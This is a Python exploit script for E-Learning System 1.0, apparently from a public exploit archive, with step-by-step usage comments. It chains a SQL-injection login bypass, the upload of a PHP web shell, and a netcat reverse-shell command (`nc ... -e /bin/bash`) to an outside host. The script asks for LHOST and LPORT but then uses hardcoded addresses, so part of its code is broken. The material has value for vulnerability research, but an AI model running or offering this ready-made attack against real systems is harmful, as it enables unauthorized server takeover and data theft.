# Exploit Title: E-Learning System 1.0 - Authentication Bypass & RCE
# Exploit Author: Himanshu Shukla & Saurav Shukla
# Date: 2021-01-15
# Vendor Homepage: https://www.sourcecodester.com/php/12808/e-learning-system-using-phpmysqli.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/caiwl.zip
# Version: 1.0
# Tested On: Kali Linux + XAMPP 7.4.4
# Description: E-Learning System 1.0 - Authentication Bypass Via SQL Injection + Remote Code Execution

#Step 1: run the exploit in python with this command: python3 exploit.py
#Step 2: Input the URL of the vulnerable application: Example: http://10.10.10.23/caiwl/
#Step 3: Input your LHOST where you want the reverse shell: Example: 10.9.192.23
#Step 4: Input your LPORT that is the port where the reverse shell will spawn: Example: 4444
#Step 5: Start a Netcat Listener on the port specified in Step 4 using this command: nc -lnvp 4444
#Step 6: Hit enter on the  if your Netcat Listener is ready, and you will get a reverse shell as soon as you hit enter.

import requests

print('########################################################')
print('##                 E-LEARNING SYSTEM 1.0              ##')
print('##   AUTHENTICATION BYPASS & REMOTE CODE EXECUTION    ##')
print('########################################################')

print('Author - Himanshu Shukla & Saurav Shukla')

GREEN =  '\033[32m' # Green Text
RED =  '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults
#Create a new session
s = requests.Session() 
  
#Set Cookie
cookies = {'PHPSESSID': 'd794ba06fcba883d6e9aaf6e528b0733'}

LINK=input("Enter URL of The Vulnarable Application : ")

#Authentication Bypass
print("[*]Attempting Authentication Bypass...")
values = {"user_email":"'or 1 or'", "user_pass":"lol","btnLogin":""}
r=s.post(LINK+'admin/login.php', data=values, cookies=cookies) 

r=s.post(LINK+'admin/login.php', data=values, cookies=cookies) 

#Check if Authentication was bypassed or not.
logged_in = True if("You login as Administrator." in r.text) else False
l=logged_in
if l:
  print(GREEN+"[+]Authentication Bypass Successful!", RESET)
else:
  print(RED+"[-]Failed To Authenticate!", RESET)


#Creating a PHP Web Shell

phpshell  = {
               'file': 
                  (
                   'shell.php', 
                   '<?php echo shell_exec($_REQUEST["cmd"]); ?>', 
                   'application/x-php', 
                  {'Content-Disposition': 'form-data'}
                  ) 
             }

# Defining value for form data
data = {'LessonChapter':'test', 'LessonTitle':'test','Category':'Docs','save':''}



#Uploading Reverse Shell
print("[*]Uploading PHP Shell For RCE...")
upload = s.post(LINK+'/admin/modules/lesson/controller.php?action=add', cookies=cookies, files=phpshell, data=data, verify=False)

shell_upload = True if("window.location='index.php'" in upload.text) else False
u=shell_upload
if u:
  print(GREEN+"[+]PHP Shell has been uploaded successfully!", RESET)
else:
  print(RED+"[-]Failed To Upload The PHP Shell!", RESET)

print("[*]Please Input Reverse Shell Details")
LHOST=input("[*]LHOST : ")
LPORT=input("[*]LPORT : ")

print('[*]Start Your Netcat Listener With This Command : nc -lvnp '+LPORT)
input('[*]Hit Enter if your netcat shell is ready. ')
print('[+]Deploying The Web Shell...')


#Executing The Webshell
e=s.get('http://192.168.1.5/caiwl/admin/modules/lesson/files/shell.php?cmd=nc 192.168.1.2 9999 -e /bin/bash', cookies=cookies)

exit()